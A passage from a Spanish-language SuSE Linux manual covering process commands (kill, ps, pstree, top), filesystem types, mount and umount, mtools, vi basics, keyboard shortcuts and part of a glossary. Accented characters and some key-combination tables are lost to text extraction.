parte de los distintos ficheros y sub-directorios. Hay ms informacin en la
Manpage de du (man du).

19.10.5 El comando kill

Mediante este comando se pueden mandar seales a procesos Proce-


sos (Proceso)que estn en funcionamiento. Para ello se necesita el nmero
de identificacin de proceso (ingl. process id), abreviado: PID. Este nmero
se averigua con el comando ps (ver apartado 19.10.6). El comando kill se
ejecuta con:
tierra: # kill <pid>
Si el proceso absorbiera la seal de parada, es posible detenerlo con el
parmetro opcional -9. El comando:
tierra: # kill -9 <pid>
para el proceso con el <pid> definitivamente.

426
19.11. Sistemas de fichero en Linux mount y umount

19.10.6 El comando ps

El comando ps (ingl. process status) muestra los procesos que ha iniciado el


usuario. Hay informacin adicional en la Manpage de ps (man ps). Usando
la opcin ps -a se muestran tambin los procesos iniciados por parte de
los dems usuarios en la misma computadora. Se pueden parar procesos en
ejecucin especficos indicando el nmero de proceso (1a columna la salida
en pantalla de ps) (ver apartado 19.10.5).

19.10.7 El comando pstree

El comando pstree ilustra el rbol de procesos completo tal como se


puede observar en el Mensaje en pantalla 19.10.4.

init-+-bash---startx---xinit-+-X
| `-sh---fvwm-+-FvwmPager
| |-FvwmWinList
| |-GoodStuff
| |-xclock
| `-xeyes
|-color_xterm---bash---xdvi.bin---gs
|-2*[color_xterm---bash---vi]
|-color_xterm---bash---pstree
|-coolmail---coolmail---xterm---pine
|-cron
|-gpm
|-inetd
|-kflushd
|-klogd
|-kswapd
|-5*[mingetty]
|-4*[nfsiod]
|-sh---master---slipto
|-syslogd
|-update
|-xload
`-xosview

Mensaje en pantalla 19.10.4: Respuesta del comando pstree

19.10.8 El comando top

 .
Se muestran todos los procesos que estn en marcha, la carga del sistema, etc.
La pantalla se actualiza peridicamente y se puede parar pulsando q 

19.11 Sistemas de fichero en Linux mount y umount


Tratar y administrar sistemas de ficheros puede ser un verdadero arte.

427
19. Introduccin a Linux

19.11.1 Sistemas de ficheros


Linux soporta muchos tipos de sistema de ficheros. La Tabla 19.7 muestra
una seleccin de ellos.

affs Un sistema de ficheros usado en las computadoras Amiga


(ingl. Amiga Fast Filesystem).
ext2 (ingl. Second extended Filesystem) El sistema de ficheros es-
tndar en Linux.
hpfs Sistema de ficheros estndar de IBM OS/2 (ingl. High Per-
formance Filesystem). Linux solo soporta accesos de lectura
(ingl. read-only) sobre l.
iso9660 Sistema de ficheros estndar en CDROM.
minix Este sistema de ficheros se origina en proyectos de enseanza
acadmicos y fue el primer sistema de ficheros que se us
para Linux. Hoy en da su uso bajo Linux se restringe casi
por completo a los disquetes.
msdos Sistema de ficheros originalmente usado por DOS, que se
usa hasta hoy en da para diversos sistemas operativos.
ncpfs Sistema de ficheros para montar volmenes de Novell.
nfs Con este sistema de ficheros los datos se encuentran en el
disco duro de otra computadora y se accede a ellos de forma
transparente va red (ingl. Network Filesystem).
proc Sistema de ficheros de procesos (virtual).
smbfs SMB (ingl. Server Message Block) es un protocolo que usan
WfW, Windows NT y LAN Manager, para dar acceso a
ficheros va red.
sysv Sistema de ficheros que usan SCO-Unix, Xenix y
Coherent (sistemas comerciales de Unix para PC).
ufs Sistema de ficheros usado por BSD, SunOS y NeXTstep;
Linux solo soporta accesos de lectura (ingl. read-only) sobre
l.
umsdos Es un sistema de ficheros montado sobre uno del tipo fat
normal (ingl. Unix on MSDOS), que consigue toda la fun-
cionalidad de Unix por la generacin de ficheros especiales
que contienen la informacin sobre las autorizaciones, los
enlaces y los nombres de fichero largos; es muy lento.
vfat Extensin del sistema de ficheros fat en cuanto a la longitud
de los nombres de fichero (ingl. Virtual FAT).
xiafs Otro sistema de ficheros que en realidad ya no se usa. No
est soportado desde la versin de kernel 2.1.21.

Tabla 19.7: Sistemas de fichero en Linux

428
19.11. Sistemas de fichero en Linux mount y umount

19.11.2 Montaje y desmontaje de sistemas de ficheros

El comando mount sirve para incorporar un medio de datos (disquete, CD-


ROM) en el sistema de ficheros de Linux. Normalmente solo el superusuario
`root' puede usar este comando, que necesita dos parmetros:

 el nombre del medio (corresponde con el nombre de dispositivo, p. ej.


/dev/hda3)
 y un directorio ya existente bajo el cual se incorpora (monta) el medio.

La opcin -t <tipo-de-sistema-de-ficheros> indica el tipo de sis-


tema de ficheros a montar (ver Tabla 19.7).
En el siguiente ejemplo se monta la particin DOS hda2 en el directorio
/dosa:
tierra:/ # mount -t msdos /dev/hda2 /dosa
Es necesario generar el directorio /dosa antes del proceso de montaje (ver
apartado 19.6, Pgina 416).
Es muy aconsejable apuntar en el fichero /etc/fstab todos los disposi-
tivos que se montan con frecuencia en el mismo lugar dentro del sistema
de ficheros. Estos pueden ser la disquetera o lectores CD-ROM; para ello se
puede consultar la Manpage de mount (man 8 mount).
Usando la opcin -r se monta un medio p. ej. de solo lectura (ingl. read-only),
lo que significa que no se puede escribir sobre l mismo. Otras opciones se
documentan en la Manpage de mount (man 8 mount).

Si se quiere tener la posibilidad de escribir sobre particiones de DOS co-


mo usuario normal (no como superusuario `root') se deben consultar
los pasos necesarios en http://www.suse.de/sdb/de/html/kfr_18.
html.

mount protocoliza los sistemas de fichero montados en el fichero /etc/mtab.


Cuando se llama a mount sin ningn parmetro, el contenido de este fichero
sale en pantalla, representando el listado de todos los sistemas de ficheros
montados.
Mediante el comando umount se quita un dispositivo del sistema de fichero
de Linux (desmontar)7. El parmetro para umount puede ser el nombre
del dispositivo montado o el nombre del directorio bajo el cual est mon-
tado. Para desmontar p. ej. /dev/hda2, montado sobre /dosa, se puede
introducir:
tierra: # umount /dosa
o bien:
tierra: # umount /dev/hda2

7 En realidad el comando se llam unmount , pero la `n' se perdi en algn momento de la

historia de Unix.

429
19. Introduccin a Linux

Si se ha montado un sistema de ficheros desde un disquete o de otro medio


extraible, es importante ejecutar el comando umount antes de extraer el
disquete de la disquetera.
Cuando todava hay ficheros abiertos en un dispositivo montado, estos se
escriben al medio ejecutando el comando umount. Si esto no fuera posible,
aparecera un mensaje de error.
No se puede desmontar ningn sistema de ficheros cuando hay todava
algn usuario dentro de alguna rama por debajo del punto de montaje (p. ej.
dentro de una shell).

19.12 Comandos DOS bajo Unix usando mtools


Los mtools que se encuentran en el paquete mtools, serie ap, existen es-
pecialmente para el tratamiento de ficheros del tipo DOS en disquetes o en
el disco duro. Cada programa ofrecido trata de emular lo mejor posible su
contraparte de DOS, usando siempre una `m' por delante del comando, como
p. ej. en mcopy.

Los comandos del paquete mtools solo se deben usar si el medio en


cuestin no est montado!

Los nombres de fichero de DOS se componen por una letra de unidad seguida
de dos puntos y un nombre de sub-directorio (opcional) tal como el nombre
de fichero mismo. Bajo DOS se usa exclusivamente el smbolo `\'.
Los mtools en Linux permiten el uso de `/' tal como el de `\'. Usando el
smbolo `\' o Wildcards (comodines) como p. ej. `*' o `?' estos smbolos
deben estar dentro de comillas para que la shell no los interprete antes de que
lo haga el comando mtools.
El sencillo asterisco `*' bajo mtools corresponde a la secuencia de carac-
teres `*.*' en DOS. En lugar de la barra `/' de DOS para pasar parmetros,
se usa el signo menos `-' como es usual bajo Linux.
El dispositivo estndar para los mtools es la primera disquetera (bajo DOS
`a:'). mtools usa el directorio raz del disquete a:\ como directorio por
defecto. Si se quiere usar otro se puede cambiar hacia all con el comando
mcd. Antes de sacar el disquete de la disquetera se debe recordar de volver al
directorio raz del medio, ya que en caso contrario no se podra leer ningn
nuevo rbol de directorios.
En este momento los mtools soportan los siguientes comandos de DOS:

mattrib Cambio de los atributos de fichero de DOS (hidden,


system, etc.).
mcd Cambio a otro directorio.
mcopy Copiar de/a DOS y a/de Unix. Hay que indicar siempre el
destino.

Tabla 19.8: Contina en la pgina siguiente ...


430
19.13. Resumen de los comandos de Unix

mdel Borrar un fichero DOS.


mdir Ver contenido de un directorio DOS.
mformat Generar un sistema de ficheros DOS en un disquete formatea-
do a bajo nivel. El formateo a bajo nivel se realiza con
fdformat.
mlabel Cambio de nombre de un medio DOS.
mmd Generar un subdirectorio de DOS.
mrd Borrar un subdirectorio de DOS.
mread Lectura de un fichero DOS para un sistema Unix.
mren Cambio de nombre de un fichero DOS existente.
mtype Mostrar el contenido de un fichero DOS.
mwrite Copia a bajo nivel de un fichero Unix a un sistema de ficheros
DOS.

Tabla 19.8: Comandos del paquete mtools

Se supone por defecto que la disquetera a: es de 3.5-pulgadas, y la de B:


de 5.25-pulgadas. En estas disqueteras se soportan los formatos 720 kB y
1.44 MB, as como 360 kB y 1.2 MB.
Estos valores por defecto se pueden modificar en el fichero /etc/mtools.
Los apuntes en cada lnea se detallan de la siguiente manera:
 Letra de unidad (bajo DOS), p. ej. a:
 Nombre de dispositivo (Linux), p. ej. /dev/fd0
 Cdigo (12 disquetera, 16 disco duro),
 Nmero de pistas, cabezales y sectores.
Modificando los parmetros se puede usar tambin dos disqueteras de 5.25-
pulgadas. En cuanto a los dems parmetros hay que vigilar que no se usen
dos letras de unidad DOS iguales y tampoco iguales nombres de dispositivo
de Linux.

19.13 Resumen de los comandos de Unix


A continuacin los comandos ms importantes en resumen (los parmetros
opcionales se indican en parntesis `[]'):

cd carp Cambio al subdirectorio carp.


cd .. Cambio al directorio superior.
cd /carp Cambio al directorio /carp.
cd [ ] Cambio al directorio de usuario
cp fuente destino Copia fuente a destino.

Tabla 19.9: Contina en la pgina siguiente ...


431
19. Introduccin a Linux

ln [-s] relacin nombre Genera en el directorio actual el en-


lace [simblico] nombre, que apunta al
fichero relacin. nombre indica la ra-
ma en la que se encuentra el fichero,
que realmente se busca en este directo-
rio. Es posible referenciar los enlaces
de un sistema de ficheros a otro. Los en-
laces simblicos permiten tambin en-
lazar directorios.
ls [carp] Listado de todos los ficheros y carpetas
en el directorio carp.
ls -l [carp] Listado de todos los ficheros y carpetas
en el directorio carp en forma larga y
explcita.
ls -a [carp] Muestra tambin los ficheros ocultos
(p. ej. ~/.xinitrc).
mkdir nuevacarp Genera el directorio nuevacarp.
less fichero Muestra un fichero por pgina (hacia
 ).
adelante con la tecla espacio y hacia
atrs con b 
mv de_fichero a_fichero Mueve un fichero o lo renombra.
rm fichero Borra fichero (tambin enlaces!).
rm -r carp Borra el directorio carp recurrente (con
sub-directorios).
rmdir carp Borra el directorio carp (si est vaco).

Tabla 19.9: Resumen de los comandos ms importantes de Unix

La Tabla 19.10, Pgina 432 menciona algunos comandos para efectuar


bsquedas.

find . -name "file" Busca file en todos los sub-directorios


del directorio actual.
find . -name "*pepe*" Busca todos los ficheros que contienen la
cadena de caracteres `pepe'.
man comando Explica comando.
grep muestra ficheros Busca en todos los ficheros la
`muestra' indicada, que puede con-
tener tambin expresiones regulares
(ver apartado 19.7.2 o man regexp).

Tabla 19.10: Resumen de comandos de bsqueda

432
19.14. Otras perspectivas

19.14 Otras perspectivas


Los directorios generales con la mayora de ficheros ejecutables bajo Linux
son:
 /bin
 /sbin
 /usr/bin
 /usr/sbin
 /usr/X11R6/bin
y contienen muchos comandos adicionales.
Usando man <comando> se puede obtener informacin detallada sobre los
comandos y programas disponibles, si la Manpage correspondiente existe
(ver apartado 19.9). Las explicaciones aparecen entonces en el dispositivo
estndar de salida (generalmente el monitor).
Usando Pipes en la lnea de comando de la shell, se pueden enviar estas lneas
directamente a una impresora o a un fichero. Los Pipes se simbolizan con el
carcter `|'.
Un ejemplo:
Para imprimir la Manpage acerca del comando ls, se teclea lo siguiente:
tux@tierra: > man -t ls | lpr
Para acceder a las Manpages por temas es posible usar el sistema de ayuda
a base de hipertexto del sistema SuSE Linux. Se inicia tecleando simple-
mente hilfe o susehelp y se tendr la posibilidad de acceder a la ayuda
cmodamente y de seguir la referencias cruzadas entre las Manpages.

433
19. Introduccin a Linux

19.15 El editor vi
Aunque el editor vi es un poco complejo y por tanto su uso exige una cierta
prctica, se explican aqu algunos detalles sobre est, ya que est presente en
todos los sistemas que se parecen a UNIX. vi forma parte de la instalacin
estndar de Linux y los comandos para su uso no dan lugar a dudas, lo
que evita equivocaciones. Adems, muchas veces ocurre que cuando ya no
funciona nada, vi s que funciona.
La siguiente explicacin corta permite editar p. ej. ficheros de configuracin
diversos con el editor vi.
El concepto:
El editor vi conoce tres modus operandi:
 Modo de comando (ingl. command mode)
Cada tecla pulsada se entiende como parte de un comando.
 Modo de insercin (ingl. insert mode)
Las teclas pulsadas se entienden como letras a introducir en el texto.
 Modo de comandos complejos (ingl. last line mode)
Sirve para introducir comandos complejos que se editan en la ltima lnea.
A continuacin se encuentran los comandos ms importantes del modo de
comando:

i Cambia al modo de insercin (Los caracteres se introducen en la


posicin actual del cursor.
a Cambia al modo de insercin (Los caracteres se introducen detrs
de la posicin actual del cursor.
A Cambia al modo de insercin (Los caracteres se aaden al final de
la lnea.
R Cambia al modo de insercin y sobreescribe el texto antiguo.
r Cambia al modo de insercin para sobreescribir una sola letra.
s Cambia al modo de insercin sobreescribiendo el carcter por de-
bajo del cursor con la letra introducida.
C Cambia al modo de insercin reemplazando el resto de la lnea por
el texto nuevo.
o Cambia al modo de insercin introduciendo una lnea nueva detrs
de la lnea actual.
O Cambia al modo de insercin introduciendo una lnea nueva por
delante de la lnea actual.
x Borra el carcter actual.
dd Borra la lnea actual.
dw Borra hasta el final de la palabra actual.
cw Cambia al modo de insercin sobreescribiendo el resto de la palabra
actual con las letras insertadas.
u Deshace el ltimo comando.

Tabla 19.11: Contina en la pgina siguiente ...


434
19.15. El editor vi

J Aade la siguiente lnea a la actual.


. Repite el ltimo comando.
: Cambia al modo de comandos complejos.

Tabla 19.11: Comandos simples del editor vi

Antes de introducir todos los comandos se puede aadir una cifra, que indica
la cantidad de objetos susceptibles a la modificacin. As se pueden borrar
p. ej. 3 palabras simultaneamente, introduciendo el comando `3dw'. Teclear
`10x' sirve para borrar diez caracteres desde la posicin del cursor tal como
`20dd' borra 20 lneas.
Los comandos ms importantes del modo de comandos complejos son:

:q! Salir de vi, sin grabar modificaciones.


:w <nombre_fichero> Graba el fichero en <dateiname>.
:x Graba el fichero modificado y sale del edi-
tor.
:e < nombre_fichero> Carga <nombre_fichero> para su edicin
:u Deshace el ltimo comando de edicin

Tabla 19.12: Comandos complejos del editor vi

 .
Para llegar desde el modo de insercin al modo de comandos complejos hay
que pulsar ESC 

435
19. Introduccin a Linux

436
Apndice A
Teclas y combinaciones importantes

A continuacin se presenta el resumen de algunas teclas o combinaciones de


teclas importantes.

 -
  Ejecutar un comando en la lnea de coman-
Alt +F1 -F6  dos o retorno de carro.
    Cambiar a otra consola en modo texto.
Ctrl + Alt +F1 -F6  Cambiar a otra consola bajo el Sistema
Alt + F7  X Window o el emulador de DOS.
     Regresar a los X.
Ctrl  + Alt  + Finalizar los X.
Backspace 
Shift * + Re Pg  Mostrar pantallas anteriores de la consola.
Funciona hasta el prximo cambio de con-
Shift * + Av Pg  sola.
 +Re Pg .
     Inversin de Shift *   
"  Muestra en la lnea de comandos el coman-
#  do anterior.
 .
     Inversin de " 
Shift * + Alt  + Bajo el Sistema X Window: Cambio a la
 
Cursor ventana ms cercana del escritorio virtual
en la direccin de la flecha. La cantidad
de ventanas a disposicin se determina en el
fichero .fvwm[2]rc mediante el parmetro
DeskTopSize.
Ctrl +Alt +(gris) 
     Modifica la resolucin de la pantalla en el
orden de las entradas hechas en el fichero
/etc/XF86Config.
Ctrl + D 
  Logout. Equivale al comando exit. Con
ignoreeof=x se puede indicar en /etc/
profile la cantidad de repeticiones nece-
sarias (=x) para que el comando sea acepta-
do.

Tabla A.1:

437
A. Teclas y combinaciones importantes

438
Apndice B
Glosario

Este glosario esta limitado a trminos o abreviaciones especficas de UNIX


o Linux, ya que la cantidad de trminos existentes en la informtica es muy
grande. Por eso se debera conocer ya, trminos como bit y byte, por ejemplo.

Acrnimo (Sigla)
Las abreviaciones que se pueden pronunciar como una palabra se llaman
acrnimos. Linux, GNU y BIOS son acrnimos conocidos.
Administrador de sistema (ingl. system administrator, root user)
Es la persona encargada de mantener y configurar un sistema complejo
de computadoras o una red. El administrador de sistema (`root') es
normalmente la nica persona con acceso a todas las posibilidades de
configuracin de una computadora.
Alias
El trmino alias se usa generalmente en combinacin con la Shell. Un
alias permite abreviar comandos que se usan con frecuencia o que simple-
mente son muy largos. Para usar alias consulte el apartado sobre el uso
de la shell.
Anfitrin (ingl. Host)
El anfitrin es la computadora a la que se conecta en concepto de recibir
servicios de ella. Muchas veces es equivalente a un servidor, pero siempre
depende desde donde se conecta.
Arrancar (ingl. Boot(ing))
Se denomina as a todo el proceso de inicio de la computadora, desde el
momento de encender la mquina hasta que el usuario la pueda usar. En
el caso de Linux es la inicializacin del kernel y el inicio de los servicios.
Esto comienza con el mensaje `uncompressing linux...' y termina
con la peticin de entrada al sistema `login:'
ASCII
American Standard Code for Information Interchange. Conjunto de nor-
mas de codificacin de caracteres mediante caracteres numricos, de am-
plia utilizacin en informtica y telecomunicaciones.
ATAPI
ATAPI es un protocolo de comunicacin para acceder a dispositivos
conectados a una controladora (E)IDE. Los Lectores CD-ROM con dicha
interfaz tienen una amplia difusin (Lector CD-ROM), pero ya hay tam-

439
B. Glosario

bin unidades ZIP, streamer y disqueteras que incorporan la interfaz AT-


API. Linux soporta todos estos dispositivos.
Backup
Backup (Respaldo) es el trmino ingls que se usa generalmente para
hablar de copias de seguridad. Es muy recomendable hacer regularmente
respaldos de los datos ms importantes, entre ellos las configuraciones de
los programas. Bajo Linux el comando tar es el mtodo principal para
almacenar datos en un Dispositivo. Muchas veces tar se combina con
gzip.
BIOS (ingl. Basic Input Output System)
Cada PC tiene una pequea memoria que almacena la BIOS. Esta con-
tiene programas de inicializacin y de comprobacin para el arranque de
la computadora as como algunos drivers (simples) para los perifricos
principales como teclado, tarjeta grfica, disqueteras, interfaces y reloj.
Bajo Linux la BIOS est desactivada, ya que se apaga durante el arranque
del kernel cuando el procesador (CPU) pasa al modo real. Las rutinas
del kernel de Linux son mucho ms potentes.
Boot (ingl. bootstrap = cordn de bota)
Arrancar.
Bfer (ingl. buffer)
Un bfer es un tipo de memoria intermedia, que permite acelerar los
accesos repetidos a los datos que se encuentran en l. Linux trabaja con
muchos tipos de bferes.
CD-ROM (ingl. CD-ROM Drive)
Lector CD-ROM.
Comodines (ingl. wildcards)
Vase Wildcards.
Consola (ingl. console, terminal)
Antes era equivalente a un terminal. Bajo Linux existen consolas vir-
tuales que permiten usar un monitor para varias sesiones independientes,
pero simultneas (ver apartado 19.4, Pgina 415). Por defecto (Runlevel
 + F1 hasta Alt + F6 .
2) tiene 6 consolas virtuales a su disposicin, a las que se puede acceder
con las teclas Alt      
Desde el Sistema X Window, que usa ya sea la consola 7 (Runlevel 2) o
bien       
la consola 3 (Runlevel 3), se accede a las consolas de texto mediante
 + Alt + F1 hasta Ctrl + Alt + F6 .
Ctrl
CPU (ingl. Central Processing Unit)
El procesador de la computadora. Los procesadores de Intel de la serie
x86 se pueden usar en modos de operacin diferentes. Hace falta distin-
guir especialmente entre los dos modos siguientes:
 real Mode: El modo de operacin original. Es lento y solo permite
aplicaciones anticuadas (software de 16 bit). Este modo de op-
eracin no conoce zonas o comandos protegidos y el tamao de los
segmentos est reducido a 64K. La computadora se inicia en este modo
de operacin cuando uno la enciende o cuando se resetea Resetear.

440
B. Glosario

 protected Mode: (a partir de 286) Modo de operacin protegido en


el cual se distinguen diferentes estados de privilegio. Solo cuando el
procesador est en el bucle 0 todas las operaciones estn permitidas
(all se encuentra el kernel de Linux), mientras que las aplicaciones
(tambin las del superusuario) trabajan en el bucle 3 (privilegios
mnimos). Adems, los procesadores a partir del 386 permiten seg-
mentos que cubren todo el rango de memoria, lo que permite el acceso
lineal a la memoria (Flatmodel). Linux usa el procesador exclusiva-
mente en el modo protegido del 386 (o superiores), que es el modo
que aprovecha toda la potencia de la CPU.
Linux existe actualmente para las siguientes arquitecturas: Intel x86, DEC
alpha, Motorola m68k, Sparc, PowerPC, MIPS y ARM.
Cursor
El cursor es generalmente un pequeo bloque o una ralla, que marca el
lugar de introduccin de caracteres. Bajo Linux este trmino se encuentra
en relacin con:
 Shell/Editor: Lugar marcado por un cuadro o una ralla intermitente
que indica el lugar en el que se introducen los caracteres a travs del
teclado. En el caso de la shell, el cursor se encuentra en la izquierda
por detrs del Prompt.
 Cursor del mouse en el Sistema X Window: Se trata de la flecha que
indica la posicin del mouse y cuyo aspecto se cambia segn el fondo.
Por ejemplo, es una flecha sobre un xterm, tiene forma de X sobre el
fondo y forma de I sobre la ventana de un Editor.
 GPM-Cursor (Consola): Un bloque del tamao de una letra, que se
puede posicionar en la Consola mediante movimientos del mouse
para hacer Cut & Paste (Seleccin); funciona gracias al programa
gpm.

Densidad de inodos
El trmino se refiere a la cantidad de bytes que un Inodeocupa en el
sistema de ficheros (es comparable al tamao de cluster de MS-DOS).
Se trata de algo que suele provocar confusin entre los principiantes en
materia de Linux, ya que la densidad es alta cuando el tamao del inode
es pequeo, por tanto caben ms inodes dentro de la particin. Cualquier
fichero, por pequeo que sea, siempre ocupar como mnimo la cantidad
de bytes equivalente al tamao de un inode. Por otra parte, un fichero
grande ocupa menos inodes, si el tamao de estos es grande, lo que mejo-
ra el rendimiento. Por consiguiente la regla: Inodes de poco tamao
aprovechan mejor el espacio en el disco, mientras que los grandes mejo-
ran el rendimiento. El mximo rendimiento se consigue con un tamao
de Inode equilibrado en todas las particiones (p. ej. 4096 bytes).
Direccin IP
Direccin numrica de 32 bit, que est asignada exclusivamente a una
computadora; se anota generalmente en cuatro valores decimales sepa-
rados por puntos (p. ej. 192.168.10.1). Cuando una computadora tiene
varias conexiones de red (pasarela), tambin tiene varias direcciones IP.

441
B. Glosario

Directorio (ingl. directory)


Los directorios forman la estructura del Sistema de ficheros El direc-
torio contiene nombres de ficheros y de los sub-directorios. Como cada
directorio puede contener subdirectorios es posible formar la estructura
de un rbol de directorios. Para ver el contenido de un determinada di-
rectorio se puede cambiar hacia ste, lo cual es equivalente a bajar un
nivel en el rbol de directorios. Los ficheros son como hojas del rbol, ya
que es all donde se termina la posibilidad de bifurcar. Los nombres de
los directorios tienen las mismas restricciones de los nombres de ficheros.
Los nombres especiales `.' y `..' simbolizan el directorio en s y su
antecesor en la jerarqua del sistema de ficheros respectivamente.
Directorio de usuario (ingl. home directory)
El directorio de usuario (directorio home) es el punto de partida de la
mayora de actividades del usuario. Aqu es donde el usuario puede al-
macenar sus datos privados y aparte del Administrador de sistema, l
es el nico que tiene permiso de escribir en este directorio. La ubicacin
del directorio de usuario se fija bajo Unix en la Variable de entorno
$HOME. El smbolo para el directorio de usuario es `' (ver aparta-
do 19.6, Pgina 416).
Directorio raz (ingl. root directory)
Es el directorio principal de un Sistema de ficheros. En comparacin a
los dems directorios de un sistema de ficheros, el directorio raz no tiene
ningn directorio superior. La entrada `..' del directorio raz apunta
hacia s mismo. Bajo Unix el directorio raz est representado por el
smbolo `/'.
Dispositivo (ingl. Device)
Bajo Linux se efecta el acceso a los dispositivos a travs de unas entradas
especiales en el sistema de ficheros. Estas entradas se encuentran en
/dev/ y contienen los nmeros de dispositivo con los que el Kernel
puede acceder a los drivers de los dispositivos.
Editor
Los editores son programas que permiten modificar los datos introducien-
do p. ej. texto. Algunos editores conocidos de Unix son GNU Emacs
(emacs) o vi (ver apartado 19.15, Pgina 434). Si an no conoce ninguno
de estos editores, comience primero con joe, ya que ste es compatible
con WordStar.
ELF (ingl. Executable and Linking Format)
ELF es el formato estndar de los binarios en Linux. En comparacin al
antiguo formato a.out, el nuevo facilita p. ej. generar shared libraries.
Para obtener ms informacin consulte el HowTo en /usr/doc/howto/
en/ELF-HOWTO.gz.
E-Mail (ingl. electronic mail)
Proceso de distribucin de mensajes electrnicos entre usuarios dados de
alta en una red de computadoras. Al igual que en el correo normal con
sobre y papel (denominado muchas veces (ingl. snail mail)) es preciso
indicar la direccin del destinatario; esto se hace con su direccin de E-

442
B. Glosario

Mail. Junto con el texto de los E-Mail se puede mandar tambin imgenes
y sonidos. La ventaja del E-Mail son la rapidez y el bajo coste.
Enlace (ingl. link)
Un enlace es una entrada en el directorio que apunta a otro fichero por lo
que el enlace mismo no contiene datos. Se diferencia entre:
 Enlaces simblicos, que contienen referencias de nombres. No importa
si el objeto de destino existe o no, y tampoco importa si se trata de un
directorio en lugar de un fichero o que se encuentre en otro sistema de
ficheros.
 Enlaces duros (hardlinks), que contienen una referencia a un inode.
Un enlace duro tiene que apuntar a un objeto sobre el mismo sistema
de ficheros y el destino no puede ser un directorio. Adems todos los
enlaces duros a un inode son de igual importancia, por lo que los datos
de un fichero se mantienen hasta que se borre el ltimo enlace duro.

Entorno (ingl. environment)


La Shell proporciona normalmente un entorno que permite al usuario
hacer definiciones temporales. Estas definiciones son p. ej. las ramas
hacia determinados programas, el nombre de usuario, la rama actual, la
apariencia del prompt, etc. Estos datos se almacenen en Variables de
entorno. Normalmente son los ficheros de configuracin de la Shell los
que se ocupan de definir las variables de entorno.
Entorno grfico de usuario (ingl. graphical user interface, GUI)
Las superficies grficas de usuario pretenden simular el escritorio del
usuario (ingl. graphical / electronic desktop). La pantalla que debe operar
en modo grfico representa el escritorio (ingl. desktop) sobre el cual se
colocan las Ventanas. Dentro de las ventanas se ejecutan diferentes
procesos. Para usar el entorno grfico se necesita normalmente un mouse,
trackball o algo similar. GUIs conocidos son el X Window System,
Apple Macintosh System 7, Digital Research GEM y MS-Windows.
Ethernet
Hardware de red de amplia difusin para LANs con estructura de bus.
Originalmente trabajaba con 10 Mbit/s a travs de cable coaxial, pero hoy
en da se usan tambin redes con pares de cables trenzados (ingl. twisted
pair) con velocidades que alcanzan los 100 Mbit/s y en arquitectura de
estrella.
EXT2 (ingl. second extended Filesystem)
Es el sistema de ficheros estndar de Linux. Se caracteriza por su alto
rendimiento, los nombres de ficheros largos, los derechos de acceso y la
tolerancia a fallos.
Fichero (ingl. file)
Bajo Linux cualquier informacin se intercambia va ficheros. Estos sir-
ven, como en otros sistemas operativos, sobre todo para almacenar datos
en medios de almacenamiento. El nombre del fichero debe ser nico den-
tro del directorio en el cual se encuentra. El Sistema de ficheros permite
estructurar los ficheros en una jerarqua de directorios.

443
B. Glosario

Adicionalmente, Linux conoce otros ficheros que tienen un fin especial.


Para obtener ms informacin consulte las explicaciones sobre Link,
Device y Proc.
Foco (ingl. focus)
Un determinado elemento en la pantalla, p. ej. la lnea de entrada de un
Terminal, est en el foco cuando ste recibe las seales del teclado.
Normalmente el foco est vinculado a la posicin del Cursor. La forma
de gestionarlo se denomina poltica de foco ((ingl. focus policy)). Se
distingue entre el foco que sigue siempre la posicin del mouse y el foco
que solo pasa a una determinada ventana cuando sta es seleccionada.
FTP (ingl. file transfer protocol)
FTP es para UNIX el mtodo de transferencia de ficheros de una com-
putadora a otra. En este proceso estn involucrados el servidor FTP (la
computadora que proporciona los datos) y el cliente FTP (la computadora
que pide los datos).
Gestor de ventanas (ingl. window manager)
Bajo el X Window System se necesita un gestor para la manipulacin de
las Ventanas, p. ej. para abrir, cerrar o mover las mismas as como para
iconizarlas. Normalmente los gestores de ventana incorporan funciones
adicionales como barras de herramientas, que contienen iconos para ini-
ciar determinadas aplicaciones.
GNU
GNU significa GNU is Not Unix y es un proyecto de la Free Soft-
ware Foundation (FSF). El objeto del Proyecto GNU, que est muy
vinculado a la persona de Richard Stallman (RMS), es la creacin de
un sistema operativo libre, compatible con Unix. Libre no se re-
fiere tanto a libre de costes, pero s a la libertad en cuanto al dere-
cho de acceso, modificacin y uso de los programas. Para que el cdi-
go fuente (ingl. source) se mantenga libre, cualquier modificacin en
l tambin debe serlo. La forma para asegurar esto se manifiesta en el
documento http://www.gnu.org/gnu/manifesto.html y se respal-
da jurdicamente mediante la licencia GPL en http://www.gnu.org/
copyleft/gpl.html (ver Apndice G, Pgina 473) o la licencia LGPL
en http://www.gnu.org/copyleft/lgpl.html.
Dentro del mbito del proyecto GNU todas las utilidades de Unix se
desarrollan de nuevo, aadiendo ms funcionalidades. Otra parte del
proyecto hace el software ms complejo como p. ej. Emacs o la librera
glibc.
El kernel de Linux, con licencia segn la GPL, saca provecho de este
proyecto (especialmente por las herramientas), pero no es equivalente al
proyecto GNU.
Host
Anfitrin
Inode
El sistema de ficheros EXT2 administra la informacin sobre los
ficheros en el disco duro mediante inodes. Los inodes contienen en-

444
B. Glosario

tre otras informaciones sobre el propietario de un fichero, los derechos


otorgados, la fecha del ltimo cambio, etc.
Interfaz (ingl. interface)
La interfaz es el sitio a travs del cual diferentes sistemas intercambian
informacin. Una interfaz puede ser p. ej. el teclado, ya que es por all
por donde la computadora y el ser humano intercambian informacin
(ingl. Man Machine Interface). Esta formulacin es muy abstracta, ms
concretamente se pueden distinguir las siguientes interfaces:
 Interfaz de hardware: A travs de sta se conectan p. ej. perifricos;
un ejemplo es el puerto paralelo, el puerto serie o el conector SCSI.
 Interfaz de software: Esta interfaz determina el modo en que diferentes
programas deben intercomunicarse (ver tambin Protocolo).
 Interfaz de usuario: Aqu es donde el ser humano y la mquina inter-
cambian datos. Ejemplos: el mouse, el monitor y el teclado.
Internet
Internet es una Red mundial, compuesta por computadoras de muchos
tipos. Las computadoras se identifican en Internet mediante sus Direc-
ciones IP (IP = internet protocol); estas son nicas en el mundo. Las
direcciones se clasifican en direcciones nacionales, de dominio y de sub-
dominio tal como de computadora. Aparte de la direccin IP numri-
ca existen alias (p. ej. sol.cosmos.univ), que facilitan a los usuarios
memorizar la direccin. Internet no solo funciona gracias al Hardware,
sino tambin a una serie de Protocolos, p. ej. ftp, http, tcp, etc., que
actan en diferentes niveles lgicos. Los servicios conocidos de Internet
son p. ej. E-Mail o el World Wide WEB (WWW o W3). Algo impor-
tante respecto a Internet es la Netiquette (la etiqueta en Internet), que
regula el buen comportamiento, necesario para una correcta convivencia
en la red, en una especie de cdigo de honor.
ISP (ingl. Internet Service Provider)
Proveedor de servicios de Internet.
Kernel
El kernel es el ncleo; es el corazn de todo el sistema. All es donde
